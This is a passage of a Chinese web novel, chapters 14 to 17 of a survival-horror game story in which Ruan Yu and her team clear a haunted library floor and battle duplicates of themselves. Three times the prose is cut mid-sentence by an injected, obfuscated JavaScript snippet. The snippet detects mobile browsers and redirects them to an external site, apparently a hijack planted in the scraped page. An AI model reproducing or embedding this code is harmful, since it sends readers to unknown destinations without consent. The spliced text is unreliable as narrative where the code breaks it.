她确实有试探的打算,但主要还是为了发火。 赵临渊该打,该死。 “咱们继续走吧。” 她终止这个无意义的话题。 一行人进入第三层。 楼梯再次消失,空间随之关闭。 第三层的面积比第二层宽敞很多,没有了狭小的通道,面前只有一扇开着门的巨大房间。 和第二层伸手不见五指的黑暗截然不同,第三层只有一扇散发着木香味道的厚重的橡木门。 橡木门大大的敞开着,里面温暖的黄色烛光倾泻在地板上,照亮了大家脚下的路。 顺着大门望去,能看到里面是一间优雅安静的大型休息室。上世纪西欧风格的油灯在墙壁上散发着柔和的光芒。 整间屋子内的装饰品几乎都是由暗色的橡木制成,地板被打了蜡,干净又光洁地倒映着模糊的油灯光影。 整间屋子都充斥着大学应有的优雅和智慧的气息,比起二楼那满是怪物的恐怖教室,三楼的休息室像是美好的世外桃源。 橡木门的上方悬挂着方形木牌,木牌上没有了宝石,只雕刻着一行朴素又复杂的花体英文。 那行英文扭曲而陌生,大家互相对视,指望有人能破解英文的意思。但所有人都摇着头,连罗威也表示着无奈:“看不懂,这不是常见词汇。” 魏柏图凑上去盯了半晌,惊喜地说:“钰姐,罗哥,这上面有刻痕!” 如他所说,在花体英文下方,被人用硬物刻下了两行文字,刻痕看着很新,偶有几个字沾着粘腻未干的血迹。 “学者们的安息之厅。” “不要相信你身边出现的任何人。——夏茵。” 魏柏图茫然地看向其他队友。 “夏茵是谁?” 14. 该死的‘神\’ “去三楼的那对情侣还记得吧?那个女生就是夏茵。”罗威说,“组队的时候她做过自我介绍。” 魏柏图仍旧不理解:“那她写这行字是什么意思?难道他们已经通关了?” 罗威思考:“说不定这句话是通关的关键……但不知道他们遇到的是什么样的怪物。阮钰说奇数楼层是通关的关键,说不定这层的难度更高……” 说完,他叹了口气:“如果我们能和赵临渊一样知道大家的通关信息就好了,再不济能跟夏茵聊聊也行。” 阮钰挑眉,敲了敲自己头上的窥神眼镜:“巧了,赵临渊真给我开通了联系其他队员的权限。” 其他人异口同声:“什么?” 赵临渊能愿意? 罗威震惊,转念想到阮钰在楼下连着打了赵临渊两顿,表情又变得复杂起来。 在绝对的武力压制下,赵临渊的意愿似乎并不重要。 “伥鬼”只是能享受特殊待遇,不代表他能完全成为关卡的主宰者。 “我问问夏茵。”阮钰点开新出现的好友页面,她的好友数量是五十人,应该是敬神者小队应有的所有队员,一大半人的头像和名字是灰色的,另一小半人亮着的头像是他们的大头照。 她在灰色头像中看到了地中海和社会青年,点击头像后,立刻弹出了一个长方形的特殊页面。 【陈勇】 【职业:程序员】 【年龄:26】 【积分:0】 【当前任务进度:0】 【该队员已死亡】 【张宇】 【职业:无业游民】 【年龄:21】 【积分:0】 【当前任务进度:0】 【该队员已死亡】 阮钰虽然对这两个人没什么好感,但此刻切实体会到同胞因为狗屁游戏和赵临渊的算计而死在关卡内,她心里不可避免地生出几分沉重的压抑感。 她简单数了一下,存活的队友算上她自己,一共只剩22人。 最初到达里斯曼大学的人数是41,才过去半个小时左右,已经死了半数。 阮钰找到夏茵的头像,点击。 【夏茵】 【职业:学生】 【年龄:21】 【积分:0】 【当前任务进度:1/10】 她的任务进度竟然上涨了? 阮钰抿唇,立刻明白她做了什么——夏茵杀了她的男朋友,并得到了“不能相信任何人”这条线索。 她推测三楼的关卡可能和幻境有关。 她点开夏茵的私信。 阮钰:【我是阮钰,我们已经到达三楼并看到了你的留言,你们经历了什么?】 只过去了两秒钟,对方回了一个问号。 夏茵:【你怎么有聊天权限?赵临渊给你的?你们进行了什么交易?】 夏茵:【算了,告诉其他人小心一点,那扇门很危险,唯一的通关方式就是杀死身边的所有人。言尽于此,我在三楼楼梯口等你们。】 夏茵单方面关闭了私信。 阮钰还能继续联系她,但思考后她决定先保持沉默。 夏茵并未表达出对阮钰的信任。因为聊天权限的原因,对方对她的警惕心更强了。 不过这段文字足以证明阮钰的猜测方向没错。 她把夏茵的回复和自己的猜测告诉了大家。 刚准备迈步进门的陈老虎闻言连忙收脚,惊魂未定地问:“那咋整啊?谁都不能信,难道就杀出去吗?” 田野担忧地问:“如果真要杀人的话,我可能下不去手。” 魏柏图跟着点头:“是啊,怪物倒是好说,怕的是怪物装成真人的样子,如果能有什么办法能辨认队友就好了!” 罗威摸着下巴沉思,提议说:“那咱们互相通个气,想个能自证的问题。如果遇到对方,先问对方一个问题,问完后让对方也反问你的问题,如果两个问题的答案都对上了,那就是真的。” 魏柏图问:“万一怪物听到了呢?” 罗威摆烂耸肩:“那就通过阮钰的私聊权限交流。如果怪物连游戏私聊的内容都看得见,那咱们做什么努力都白费。” 几人赞成点头。 陈老虎率先给阮钰发了消息:【我的问题是:我妹叫啥?答案:陈灵儿。】 罗威:【问题:我效忠的组织。答案:一切为了人类。】 魏柏图:【钰姐好!我的问题是我暑假兼职赚了多少钱。答案:一分没挣!还被骗了五百TAT】 田野:【问我老家在哪儿就行,答案是大湾村。】 卢远:【我的问题:银行卡密码。答案:889900】 阮钰把这些乱七八糟的问题都转发给其他人,游戏私聊没有复制粘贴和一键转发的功能,她只能用意念想着这些内容并挨个转发,等全都转完之后已经过了十几分钟。 大家看着各自的问题和答案,全都拍着大腿哈哈大笑。 魏柏图是被嘲笑最多的人。 “不是,咋回事儿啊?你这也太倒霉了吧!”陈老虎大笑道。 “你就说这个答案是不是正常人想不到吧!”魏柏图都快哭出来了,“对了,钰姐,你还没说我们要怎么认出你呢?” 阮钰淡淡说:“不用认,直接对我动手,我会平等的把你们所有人踹飞。” 众人:…… 好暴力,好直接。 “好的,如果我们没被踹飞,就默认对方是怪物。”魏柏图咽了下口水,干巴巴地笑道。 “好了,时间不多,咱们赶紧进去吧。”罗威严肃地叮嘱:“大家切记,确认身边的人不是队友的话就立刻动手,千万不能留情,别因为对方的人类外形就犹豫。” 几人点头表示明白。 陈老虎依然在走在最前方,第一个踏入橡木门,跟在后面的队员们清楚地看到他面前的空间发出了波纹状的颤动,他像是进入了别的空间,从大家眼前活生生地消失了。 “这……”卢远咽了下口水:“咱们真进去吗?” “不进也没办法,只有这一扇门。”阮钰紧随陈老虎身后,“走廊不能停留,这栋建筑有其他的污染源,在这里待久了也会被污染,咱们没有选择。” 话音落下,她的身体凭空消失。 其他几人只能跟在她后面,硬着头皮踏入未知的前方。 进门后,想象中的未知和危险未曾出现,她进入了一间宽敞明亮的巨大阅览室。 身后是一排散发着墨香和木香的木制书架,书架足有两米高,上面罗列着各种语言的书籍名著。书架的另一侧摆放着一张柔软的红丝绒沙发,沙发的样式有着极强的上世纪欧洲风格,看上去非常柔软。 沙发前的茶几上摆着一壶热咖啡,咖啡似乎刚被冲泡好,升腾着白色水汽。 壁炉熊熊燃烧,整间屋子都散发着让人感觉到困倦的温暖。 阮钰谨慎地四处打量,试探开口:“有人吗?” 无人应答。 屋子里只有她一个人。 她看着茶几上的热茶和书架上的书籍,思考后决定不碰触这里的任何东西。 社会青年和地中海的前车之鉴已经说明了,精神污染是不讲道理的,那些污染源只要稍微触碰就会产生无法预计的后果。 她还不想死。 但干待着也不是事儿。 她点开游戏页面,想通过私聊联系其他人询问情况,发现私聊权限被暂时关闭,游戏弹出了提醒: 【特殊关卡内无法使用该功能。】 神经病。 阮钰低骂。 她四处观察,试图看出什么不对劲。 一切都太过安静,只有壁炉里木柴燃烧的噼啪声。 回头看向橡木门,巨大的橡木门不知道什么时候已经关闭,她被困在了这间屋子里。 她又走向沙发和茶几,热咖啡旁放着一张纸,纸上有未干的墨迹。左侧有一行古英文的记录,英文她看不太懂,但纸上右侧粘贴的一张画像引起了她的注意。 那画像是用黑色的墨汁涂画而成的,上面只有一团又一团黑乎乎的墨晕,墨晕之间有些空隙,乍一看像是某个孩童的胡乱涂鸦,但仔细观察,画像上的黑色墨晕竟然和她在城堡穹顶看到的色团一模一样。 “我就知道你能活到这里。” 一道女声在她身后响起,声音离她极近,仿佛就在耳边。 阮钰毫不犹豫地拧腰转身,同时拔出匕首,银光在眼前快速划出一条线,划开了对方的一半脖子,露出血红色的血肉切割面。 卫曦后退几步,伸手抹了一把伤口,手上沾着鲜血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451721|185247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但惨烈的伤口竟然在以肉眼可见的速度愈合,场面诡异到不可思议。 “你杀不死我的,我不是‘伥鬼’那种废物,我是神明的代行者。”卫曦微笑,“所以下次可以不用这么暴力,你知道的,如果我想杀你,你不会活到现在。” 她说的没错。 她出现的神不知鬼不觉,明明可以直接动手杀了阮钰,却还是出声吓了她一跳。 她没有杀心。 但她有杀掉阮钰的能力,阮钰也没有任何办法反制。 阮钰对此觉得非常不爽。 “你这样会让我更想杀了你。”阮钰用袖子擦拭着匕首上的血迹,面无表情地说。 “哈哈,那我也没办法。”卫曦开朗地笑着,“你想知道真相吗?我可以告诉你哦,只要你帮我做一件小事就好了。” 她没有戴窥神眼镜,露出一双干净澄澈的眼睛,朝阮钰调皮地眨眨眼,看起来和人类一模一样。 阮钰淡淡地扫了她一眼:“天上会掉馅饼吗?” 卫曦笑着说:“如果你想的话,我可以做到,不止馅饼,豆浆奶茶什么都行。” 阮钰挑眉,话锋一转:“‘伥鬼’和‘代行者’有什么区别?” “你好歹装一下吧,这么明显的试探你是让我说还是不说?”卫曦抱怨,“不过这个问题不重要啦,我确实可以回答你。” “‘伥鬼’是游戏选择的代理人,而我,是‘神明’的代行者。用你们人类的话形容,伥鬼只是普通打工仔,而我是公司的总经理,我的能力和权限都不是伥鬼能比的。” 阮钰思考后又问:“你所代表的‘神明’和‘神裔游戏’是不同的势力,对吧?这是两个不同的‘神’?” 卫曦摩挲着下巴:“你很聪明,猜的八九不离十,不过事情不像你说的这么简单……嗯,我好像知道‘祂’为什么喜欢你了,如果你能通过考验,那你就有了见‘祂’的资格……本来我想用温和一点的办法对你,但你看起来不太想配合,那我只能强制开启考验了。” 阮钰皱眉:“我没说要见‘祂’,也没说要进行考验。” “弱者没有拒绝的权利。”卫曦笑眯眯地后退两步,“如果你无法通过考验,我会亲自杀了你,如果你通过考验却拒绝见‘祂’,我也会亲自杀了你。” “祝你成功哦,阮钰。” 随着她的后退,周围的空间出现了剧烈的动荡,卫曦的身体被扭曲的空间吞噬,只留下她的声音回荡。 阮钰攥紧匕首,手腕因怒火而微微颤抖。 该死的代行者。 该死的“神”。 卫曦给她留下了必死的选择题。 “你大爷的。”阮钰爆出脏话,冷眼看向扭曲的空间。 随着空间的动荡,她眼前一花,身边的环境骤然变幻,消失的队友们凭空出现。 和她一同进入房间的队友们分散在各处收集线索,房间摆设和细节没有半点变化,卫曦的出现好像是场幻觉。 她下意识伸手抹了一把脸,刚才被溅上的鲜血消失,衣服依旧干净。 罗威和她一起站在茶几一侧,他正盯着纸上的画像皱眉,发现了她的动作后立刻抬头:“你刚刚怎么了?” 阮钰恍惚地看着自己的手,反问他:“我怎么了?” 罗威说:“你刚刚和我们一起进来的,但你突然一动不动地站在这里,连呼吸都停止了,我们不确定你经历了什么,所以也没敢碰你。” “我看到卫曦了。”她低声呢喃,“卫曦说她是神明的代行者,她要对我进行考验,无论考验是否通过我都会死……” 她说完,突然反应过来,目光锐利地盯着他:“你效忠的人是谁?” 罗威顿住,无语地说:“现在才想起来问我,看来你真是被影响的不轻啊。” 他回答:“一切为了人类。” 说完,他同情地看了眼阮钰,叹气:“你好惨。” 莫名其妙要经历比别人更复杂的情况,被迫走入了必死的局面。 而他只能兢兢业业地记录着她经历的异常,无法提供帮助。 阮钰敛起情绪,面无表情地转移话题:“你们找到了什么线索吗?别让他们乱碰,这里的一切东西都可能会造成不可控的污染。” “我知道。”罗威说,“你别说,我们还真找到了点不一样的东西。” 15. 信仰祭祀 罗威带领阮钰走到门侧的墙壁前,指着墙壁上悬挂的油画:“你仔细观察它,有没有看出来什么?” 油画是黑色的,也是由一团又一团墨晕涂抹成的无序图画。和茶几上的图画不同,这幅油画第一眼看上去只会觉得丑陋恶心,毫无美感。 莫名生出的厌恶让阮钰下意识蹙眉,扭头移开目光。 “别逃,一定要看。”罗威的表情掺杂着恶心和复杂,“我们最开始都是和你一样的反应,但它就是线索,我无法用语言描绘,只能让你自行领悟。” 他第一次用如此凝重认真的语气说话,哪怕在拉拢或质问时,他的语气都带着点和那头脏辫气质如出一辙的吊儿郎当。 阮钰不得不跟着认真起来。 她闭目深吸一口气,摒弃了所有情绪,眼眸定定地盯着恶心的黑色油画。 随着她的情绪变化,那幅黑色油画在不知不觉中慢慢变幻,黑色墨团之间的缝隙在缓慢旋转、扭曲,引人嫌恶的黑色墨块随着缝隙的变化而跟着改变形象,同时从画面中央传来一股熟悉的恶臭海腥味。 与海腥味一同出现的,是画面中的黑色礁石、白色城堡、和那一片黑沉压抑的汪洋大海。 油画被赋予了生命,它栩栩如生地在阮钰的视网膜上投射出一副来自亿万年前的古老画面。 黑色的汪洋大海蕴含着古老蓝星的恐怖力量,海浪翻涌高达百米,又在重力的作用下重重拍在礁石上,砸出一片白色水沫,在礁石的深处静静矗立着一栋白色的丑陋建筑。 建筑由白色的石头垒成几百米高,与其说是建筑,不如说是野人用石头搭成的巢穴——如果那些建筑中的生物也算“人”的话。 一只又一只比建筑还要丑陋百倍的生物盘旋在巢穴中,它们形象各异,有的是长了一百条腿的蟾蜍与狗的杂交体,有的是单纯的一根触手,有的是由大小各异的眼球构成的外星生物。 能形容出来的都只是普通的怪物,最可怕的是那些无法用语言形容的古怪存在。 比如阮钰曾在里斯曼大学见到的古怪色彩,比如那些明明没有实体,却能让人感觉到“祂”切实存在的异常东西。 最让阮钰心惊肉跳的事情是,她在面对这些怪物时没有半分的恐惧或恶心,她像是和它们相处了许久,对待它们的感情是熟悉又陌生的——烦躁。 她不喜欢它们,却不害怕它们。 就像……她曾是“祂”们中的一份子。 随着这个认知的出现,礁石上原本安静盘旋的古老生物仿佛受到了某种召唤,它们不约而同地动了起来,径直地朝着阮钰所在的位置慢慢前行,成千上万只看得见和看不见的眼球锁定在她身上,勾起她体内生物对未知的本能恐惧。 阮钰被突然动起来的画面吓出一身冷汗,大脑像是被触发了某种防御机制,她不受控制地开始浑身颤抖,疯了似的捂着剧痛的脑袋,眼睛和牙关死死闭合,直到世界重归黑暗,大海和建筑一齐消失,她才获得了某种心安。 “你没事吧?” 罗威关切地弯腰询问,同时也觉得奇怪。 至于这么大反应吗? 不就是大海上的白色建筑吗? 但他转瞬又想明白了。阮钰看到的东西和他们不一样,她在踏入这栋楼的时候就已经被影响了。 他不知道影响阮钰的污染源到底是什么,但发现她虽然被影响,却没有表现出攻击性,看起来和正常人无异后,他就决定把阮钰放在身边当小白鼠,观察她的异常和影响她的东西,收集更多能反馈给官方的素材。 罗威没打算现在逼问阮钰,问了她也不一定说。他准备等通过这个关卡后,直接把阮钰上交给官方,由官方用专业手段进行讯问。 他把他的目的隐藏的很好,再加上他的演技滴水不漏,阮钰至今只以为他是想合作通关。 阮钰弯腰蹲在地上,捂着疼痛的脑袋,她察觉不到外界的声音,整个人都沉浸在刚刚的诡异画面里。 “钰姐!你怎么了?” “大妹子咋啦?不舒服?” “罗威,她没事吧?” 队友们注意到这边的情况,一哄而上,七嘴八舌地问道。 罗威不着痕迹地挡在阮钰面前,没事人一样的摆手:“没事,我在这看着呢,她自己待会儿就好了。” “你确定吗?”魏柏图不信任地扫了眼罗威。 罗威笑眯眯说:“真没事,不信一会儿你问问她。” “……我没事。”阮钰敲了敲脑袋,手撑着地面想要站起来,但身体恍惚了一下,魏柏图连忙跑去扶她。 阮钰道了句谢,“我就是突然有点头晕,可能低血糖吧。” 魏柏图啊了一声,从兜里翻出来一块糖塞给阮钰:“钰姐,赶紧歇一下,你可千万不能出事,我还等着抱你大腿呢!” 他的话有种没长大脑的美。 阮钰无语,接过糖,想了一下后把糖块放到口袋里,“你们还有什么别的发现吗?” “有的!”魏柏图连忙说:“我们还找到了这个,钰姐你看一下。” 他带着阮钰走到书架前,指着一本金黄色的书:“这本书看着很奇怪,我们没敢碰。” 在一列纸质图书中间,那本书确实显得过于耀眼了,它散发着和黄金如出一辙的刺眼光芒,金灿灿的书封像是由真金制成。 阮钰把外套脱下来缠在手上,刚想伸手去拿书,却被魏柏图先一步抢走。 “钰姐,还是我看吧。”他年轻稚嫩的脸上写满认真:“万一这本书也会引起精神污染呢?” 陈老虎急忙伸手去抢:“那还不如我来呢!” “你不行,你武力值比我高。”魏柏图把书抱在怀里,“钰姐的战斗力高,观察力强。罗威哥的脑子好使,知道的信息多。虎哥你的武力值也不弱。我哪儿都不如你们,只能我来冒险。” 田野和卢远在魏柏图抢书的时候就默默走远了,听魏柏图这么说,二人同时露出羞愧的表情,但对视一眼后还是决定保持沉默。 再怎么说,他们都不想死。 陈老虎急了:“这怎么行!你还年轻……” “好了,让他来吧。”罗威拦住陈老虎,“他说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463252|185247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的有道理,确实没人比他合适。” 他过于冷漠的语气让陈老虎十分不爽:“你会不会说话?能不能有点人性啊?别以为你有背景我就不敢打你!” 罗威似笑非笑:“你可以试试。” 魏柏图掀开第一页,打断他们的争吵。 “这上面居然是汉字。”魏柏图震惊,“我还以为又是莫名其妙的文字呢。” “等我看看啊……这上面写的是一个祭祀仪式!” “祭祀古老克苏鲁神明之仪式,要用鸦羽、铜丝、罗盘、和一张神明画像,以上三种按照特定位置摆放,就能成功召唤神明。” “……谁想召唤这玩意啊!”魏柏图忍不住吐槽。 他看起来没有被污染,见状阮钰也走上前,跟着看向书上的内容。 和书封一样,书里的纸张也是耀眼的金黄色。 阮钰伸手捻了一下,纸张触感略硬且光滑,指甲能压出一道浅浅痕迹,竟然是厚约半厘米的真金。 她又抚摸文字,发现那些文字并不是写上去的,而是被刻上去的,工匠刻完内容后又用墨汁晕染,才打造出了这本纯金的“黄金书”。 “这么厚的金子,不得卖个好几十万啊?”魏柏图咋舌,“谁啊这么富?把金子当纸用?” 罗威耸肩:“很正常,涉及到神明的话题,往往都避免不了宗教和信仰。人类是很重视信仰的,有些虔诚的教徒为了向神明,愿意付出一切。别说黄金了,连性命都在所不惜。” 阮钰翻开第二页。 上面雕刻着圆形祭台,祭台上用奇怪的方式摆放着魏柏图所说的四样东西。 与方向无关,那四种祭祀用品的摆放方式竟然是摞在一起的。 罗盘竖着放置在祭台中央,铜丝和鸦羽缠绕成触手形状,触手斜着缠绕在罗盘上,在上方又竖立着一副黑色的古怪画像。 本该指引方向的罗盘因摆放方式的问题,指引的方向是无垠苍穹和未知的地下。 铜丝和鸦羽的缠绕充斥着混乱和未知的复杂感觉,画像随着她的注视而慢慢浮动,如同被赋予了某种信仰,即将脱离束缚。 阮钰不知道那薄薄的罗盘是怎么竖着放在光滑的祭台上的,或者说整个祭祀仪式都显得极其不合理,但她却在画上的祭祀中感受到了浓郁的信仰力量。 这种感觉和图画一样诡异。 阮钰无法用语言形容,只能再往后翻。 后面的纸张光滑如新,再也没有别的内容。 “就这?没了?”魏柏图表示不可思议:“这么大一本黄金书,结果才刻了两页?” “不,可能只是我们看不到后面的内容。”阮钰看向其他人:“你们还有别的线索吗?” 几人默契摇头:“只有这些了。” “嗯……嗯?”阮钰皱眉,原本空旷的屋子此刻突然显得拥挤沉抑:“我们一共几个人?” 魏柏图掰着手指头:“最开始十个人,走了两个,死了两个,六个呗!” 罗威数了一下人头,脸色难看。 “……这里有十二个人。” 16. 真假世界 十二。 六的倍数。 这意味着什么,不言而喻。 几人脸色剧变,慌忙看向四周。 十二个人面面相觑。 “怎么还有另一个我?”魏柏图指着旁边和他长得一模一样的人,表情空白。 阮钰也找到了和她一模一样的第二个“阮钰”。 对方有着和她一样的气质、一样的容貌、一样的穿着打扮。 甚至和她露出了同样复杂警惕的表情。 “复制?我见过这个场景……”阮钰沉声念出一个名字:“卫曦。” 卫曦曾复制出了一辆一模一样的电瓶车,这是她的能力之一。 这可能就是所谓的“考验”。 但……通关方式是什么? 没人给她思考的时间。 随着另外一队人的出现,周围的场景开始发生激烈的动荡。 壁炉的烛火凭空熄灭,热咖啡洒在桌上,纸张被洇湿,黑色的画像在黑暗中无声散发着仅有阮钰能看到的艳丽色彩。 墙壁上的烛火开始无风摇晃,像接触不良的灯泡在疯狂闪烁,随着烛火的消失与重燃,身边的环境随之不断切换。 烛火燃烧时,屋内依旧是温暖光明的阅览室。 烛火消失时,她置身于油画世界,海腥味扑面而来,海浪拍打礁石的声音不断响起,冷风来袭,白色巢穴里的怪物眨着无数恶心眼球,用各种姿势靠近她,发出密集的“叽咕叽咕”的古怪声音。 声音混着海水的涨潮声,低沉而沙哑,是千万年前的怪兽呢喃,让空气里充满了腥咸的恶臭气味。 队员们的声音被海浪和怪物声掩盖,在某一刻彻底消失,阮钰下意识往后退了几步,浪花拍湿了她的衣角,也拍湿了她紧握匕首的手,在皮肤上留下细软的黑色小沙砾。 随着每一次空间的转换,巢穴里的怪物们距离阮钰的位置就会更近一些,至多在十次之后,它们就会彻底走到她面前。 她或许被吞噬,或许被同化…… ……怎么办? 该怎么办? 用武力解决吗? 她真的能把这些怪物全部杀死吗? 阮钰迷茫地置身于黑暗之中,她不确定自己的能力,但如果真到了绝境,她能相信的也就只有手里的武器。 她已经做好了拼命的准备,但也没打算站着等死。 在黑夜的掩护中,阮钰开始行动了。 环境的变幻是有规律的,阅览室世界的停留时间较长,有整整十秒钟。而海上世界只会停顿五秒。 如果世界会再变幻十次的话,阮钰在阅览室的时间只剩五十秒,在海上世界的时间只剩二十五秒。 世界停留在阅览室。 在第一个十秒钟里,阮钰快速奔向茶几的方向,在她奔跑的同时,另一个她也开始了动作,“阮钰”冲向了她的位置,并拔出匕首,动作准确凌厉地刺向她的咽喉。 阮钰侧身躲开,在二人擦肩而过的瞬间,她手里的匕首刺入对方的小腹,同时对方的匕首也调转方向,砍向了她的窥神眼镜。 世界第一次切换。 浪花拍上了她的大腿,迸溅的水花掉入皮靴里,阮钰快速往后奔跑,拉远她和怪物的距离,为自己留出更多时间。 五秒钟后,世界第二次切换。 她奔跑的动作持续到了阅览室,迎面撞上了那把匕首,匕首已经碰到了窥神眼镜,她顺着刀刃的方向转头,匕首在眼镜上留下了一道深深的刻痕。 复制品的攻击习惯和她一模一样。 在腹部受伤的情况下,对方一步未退,甚至趁着距离被拉进的机会,另一只手快速攥住她的手腕,用力向反方向拧,剧痛让阮钰疼得倒吸凉气,同时腿扫向对方的下半身,在对方踉跄的瞬间,她趁势拉着对方的手往后仰,二人一起摔在地上。 世界第三次切换。 海浪退去,她躺在礁石上,衣服被完全打湿,她暴躁地骂了句“草”,快速翻身往后跑,大脑紧跟着疯狂运转。 不能这样。 她太吃亏了。 她的动作会持续到另一个世界,如果在前一个世界没有计算好的话,那她在另一个世界会吃亏……比如她在阅览室世界是躺着的,那在海面世界上,她将耗费珍贵的两秒钟时间用来起身。 但这也是她的机会,再次回到阅览室时,她会从被禁锢的状态脱离,瞬间拧转局势…… 她要利用好这一点。 世界第四次切换。 阮钰果然是站立状态,另一个她躺在地上,表情是长达半秒钟的震惊,等回神时她立刻抱住阮钰的腿,试图把她重新拉到地上,阻拦她走向茶几。 出乎她预料的是,阮钰没再往前奔跑,反而弯下腰,在复制品双手无法行动时,那柄被海水打湿的匕首带着腥咸的水汽劈到了复制品的脸上。 窥神眼镜碎裂,复制品的眼球被匕首刺伤,发出痛苦的闷哼声,整个身体都在颤抖,但手依旧死死地抱着阮钰的腿。 阮钰默默计算着时间,重新站起身,做出奔跑的姿态。 世界第五次切换。 她立刻迈步狂奔,心里默默查秒。 怪物的行动速度很快,但在她的全力奔跑下,她和怪物靠近的速度被大大减缓,如果继续这样下去,她至少能给自己再争取出两次切换世界的机会。 世界第六次切换。 阮钰奔跑的动作随着腿上的拉扯而减缓,“阮钰”仍旧在抱着她的腿,已经举起了匕首,匕首即将刺入她的腿—— 阮钰短暂地感慨了一下,复制品和她的思路如此地相似。 在对方松手抬手的间隙,阮钰一脚踢翻复制品手里的刀,挣脱了复制品的束缚后,踩着她的背迈步到她腿边,同时举起匕首,干脆快速地刺入复制品的膝窝。 “啊!”她的痛呼声刺穿黑暗,受伤的腿剧烈颤抖,彻底失去了行动能力。 挣脱阻拦的最佳办法就是毁掉对方的行动能力。 阮钰重新起身,跑向茶几。 世界第七次切换。 她在疯狂奔跑,怪物们距离她还有十米。 世界第八次切换。 她跑到了茶几前,看着那幅被洇湿的色彩画像,画像还在散发着悠悠的艳丽光芒。 匕首再次举起,对准画像里的光芒中心。 嗤—— 在一声怪响后,光芒快速失去色彩,画像无火自燃,快速焚烧成一团灰烬。 异象还未停止,但她已经能听到队员们大呼小叫的声音,空间束缚被解除。 世界第九次切换。 她在疯狂奔跑,怪物们距离她只剩三米。 世界第十次切换。 阮钰快速转身,冲向门口的黑色油画, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469804|185247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 油画上的画面已经变了,那些栖居在巢穴中的怪物倾巢而出,追赶着礁石上拼命逃跑的女人。 她再次抬起匕首,刺入了怪物和女人之间的空白处,重重地横着划了一刀。 世界第十一次切换。 随着阮钰迈步的瞬间,一柄银白色的雕花利刃从天而降,利刃刺穿云穹,深深没入脚下的礁石,怪物们一头撞到匕首上。 利刃重重划开礁石,地面开始颤动,一望无际的墨色汪洋大海翻涌着巨浪,发出低沉恐怖的吼叫声。 在地动山摇的时候,巨大的礁石被利刃一分为二,把她和怪物们彻底隔绝开。 她终于停下了奔跑的脚步,冷眼凝望着礁石那一侧的丑陋怪物们。 世界第十二次切换。 在切断礁石后,阮钰拔出匕首,疯了似的在图画上怪物们的位置狂刺,纸张被她刺烂。 怪物们被看不见的力量狠狠刺穿,它们全部抽搐着死亡、腐烂,臭味混杂着腥咸的海水味道,像十几年没有清理过的海鲜市场,恶臭难闻。 同时,阮钰身后出现了一片白色的宁静大陆。 她果断踏上那片白色土地。 世界第十三次切换。 变化停止。 一切回归安静。 阅览室里的混乱景象映入眼帘。 两个魏柏图指着对方大喊“你是假的我是真的”,像孙悟空和六耳猕猴的小学鸡吵架。 两个陈老虎在光膀子掐架,两个田野和两个卢远也在大打出手,最和谐的居然是两个罗威,俩人坐在一起像老友般的聊着天。 她的复制品已经受伤倒地,阮钰走上前,摘下了她的眼镜,看着那张和她一模一样的样貌,仁慈且果断地结束了她的生命。 “嘿,你看,我就说她会这么做吧。”一个罗威指着阮钰,冲另一个罗威伸手:“愿赌服输,把你的枪给我。” 另一个罗威叹了口气,哀怨地瞪了眼阮钰,从后腰拿出一柄枪给了对方。 阮钰不理解:“你们在干嘛?” 罗威理直气壮:“也没人主持公道,我们就先聊会儿天呗,反正谁也打不过谁。” 两个罗威手里都有武器,真罗威认为打起来的话危险性太高,会误伤其他人。假罗威为了隐藏身份,选择按兵不动。 二人达成了诡异的默契。 “正好你来了,你说说我俩谁是真的?”一个罗威说。 阮钰冷漠脸:“我怎么知道。” 她又不是如来佛祖。 阮钰问:“不是有暗号吗?” 罗威摆手:“别提了,复制品和本体共享记忆。” 阮钰想了想,又问:“那复制品有游戏系统吗?” “……诶?”罗威瞪大眼睛:“应该没有吧?” 阮钰了然。 复制能力应该不是完全无敌的,即使能复制出相同的人、相同的物品,但对于游戏系统这种抽象到不存在于现实的东西,复制能力是无法生效的。 “行了,都别打了!”一个罗威拍了拍手,阻止了乱哄哄的局面:“让如来佛祖……啊不是,让阮钰辨别真假就行了!” 其他人不约而同的停下了动作,十几双眼睛齐刷刷盯着她。 阮钰把两个罗威分开,点开聊天框。 阮钰:【再分我一把枪,不然弄死你。】 罗威:【……】 17. 叛逃神使 罗威:【大姐,你能不能别公报私仇啊?】 阮钰没回他,只是缓慢地举起银白色的雕花匕首,用沾血的刀锋对准了离她最近的罗威。 随着她的动作,在场的其他人分别露出了不同的耐人寻味的表情,十几双眼睛齐刷刷转向罗威,两个陈老虎不约而同地拔出了豁口菜刀。 被匕首指定的罗威面色骤变,他咧开嘴角,撑起难看的笑容:“好,我答应你了,别闹,先放下。” 阮钰不语,只是沉默地凝视着他的一举一动。 